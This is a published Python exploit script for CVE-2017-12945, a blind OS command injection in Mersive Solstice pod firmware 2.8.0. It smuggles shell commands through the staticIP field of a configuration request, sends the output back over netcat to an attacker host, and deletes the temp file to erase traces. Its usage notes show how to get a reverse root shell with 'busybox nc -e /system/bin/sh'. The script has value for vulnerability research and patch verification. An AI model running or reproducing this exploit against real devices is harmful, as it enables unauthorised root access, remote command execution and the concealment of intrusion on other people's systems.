Mersive Solstice 2.8.0 – Remote Code Execution
# Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2016-12-23 # Exploit Author: Alexandre Teyar # Vendor Homepage: https://www2.mersive.com/ # Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk # Versions: 2.8.0 # Tested On: Mersive Solstice 2.8.0 # CVE: CVE-2017-12945 # Description : This will exploit an (authenticated) blind OS command injection # vulnerability present in Solstice devices running versions # of the firmware prior to 2.8.4. # Notes : To get the the command output (in piped-mode), a netcat listener # (e.g. 'nc -lkvp <LPORT>') needs to be launched before # running the exploit. # To get an interactive root shell use the following syntax # 'python.exe .\CVE-2017-12945.py -pass <PASSWORD> # -rh <RHOST> -p "busybox nc <LHOST> <LPORT> # -e /system/bin/sh -i"'. #!/usr/bin/env python3 import argparse import logging import requests import sys import time def parse_args(): """ Parse and validate the command line supplied by users """ parser = argparse.ArgumentParser( description="Solstice Pod Blind Command Injection" ) parser.add_argument( "-d", "--debug", dest="loglevel", help="enable verbose debug mode", required=False, action="store_const", const=logging.DEBUG, default=logging.INFO ) parser.add_argument( "-lh", "--lhost", dest="lhost", help="the listening address", required=False, type=str ) parser.add_argument( "-lp", "--lport", dest="lport", help="the listening port - default 4444", required=False, default="4444", type=str ) parser.add_argument( "-p", "--payload", dest="payload", help="the command to execute", required=True, type=str ) parser.add_argument( "-pass", "--password", dest="password", help="the target administrator password", required=False, default="", type=str ) parser.add_argument( "-rh", "--rhost", dest="rhost", help="the target address", required=True, type=str ) return parser.parse_args() def main(): try: args = parse_args() lhost = args.lhost lport = args.lport password = args.password rhost = args.rhost logging.basicConfig( datefmt="%H:%M:%S", format="%(asctime)s: %(levelname)-8s %(message)s", handlers=[logging.StreamHandler()], level=args.loglevel ) # Redirect stdout and stderr to <FILE> # only when the exploit is launched in piped mode if lhost and lport: payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1" logging.info( "attacker listening address: {}:{}".format(lhost, lport) ) else: payload = args.payload logging.info("solstice pod address: {}".format(rhost)) if password: logging.info( "solstice pod administrator password: {}".format(password) ) # Send the payload to be executed logging.info("sending the payload...") send_payload(rhost, password, payload) # Send the results of the payload execution to the attacker # using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE> if lhost and lport: payload = ( "busybox nc {} {} < /data/local/tmp/rce.tmp ".format( lhost, lport ) ) logging.info("retrieving the results...") send_payload(rhost, password, payload) # Erase exploitation traces payload = "rm -f /data/local/tmp/rce.tmp" logging.info("erasing exploitation traces...") send_payload(rhost, password, payload) except KeyboardInterrupt: logging.warning("'CTRL+C' pressed, exiting...") sys.exit(0) def send_payload(rhost, password, payload): URL = "http://{}/Config/service/saveData".format(rhost) headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Referer": "http://{}/Config/config.html".format(rhost) } data = { "m_networkCuration": { "ethernet": { "dhcp": False, "staticIP": "; {}".format(payload), "gateway": "", "prefixLength": 24, "dns1": "", "dns2": "" } }, "password": "{}".format(password) } # Debugging using the BurpSuite # proxies = { # 'http': 'http://127.0.0.1:8080', # 'https': 'https://127.0.0.1:8080' # } try: logging.info("{}".format(payload)) response = requests.post( URL, headers=headers, # proxies=proxies, json=data ) logging.debug( "{}".format(response.json()) ) # Wait for the command to be executed time.sleep(2) except requests.exceptions.RequestException as ex: logging.error("{}".format(ex)) sys.exit(0) if __name__ == "__main__": main() |